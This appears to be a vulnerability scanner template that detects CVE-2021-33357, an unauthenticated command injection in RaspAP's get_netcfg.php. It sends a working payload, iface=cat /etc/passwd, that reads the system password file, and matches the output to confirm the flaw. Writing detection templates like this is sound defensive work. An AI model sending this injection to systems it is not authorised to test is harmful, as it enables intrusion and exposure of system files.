id: CVE-2021-33357
info:
name: RaspAP RCE
author: pikpikcu
severity: critical
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-33357
- hhttps://www.security-database.com/detail.php?alert=CVE-2021-33357
- https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
description: RaspAP 2.6 to 2.6.5 in the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";" which enables an unauthenticated attacker to execute arbitrary OS commands.
tags: cve,cve2021,rce,raspap
requests:
- method: GET
path:
- "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=cat%20/etc/passwd"
matchers:
- type: regex
regex:
- "root:.*:0:0"
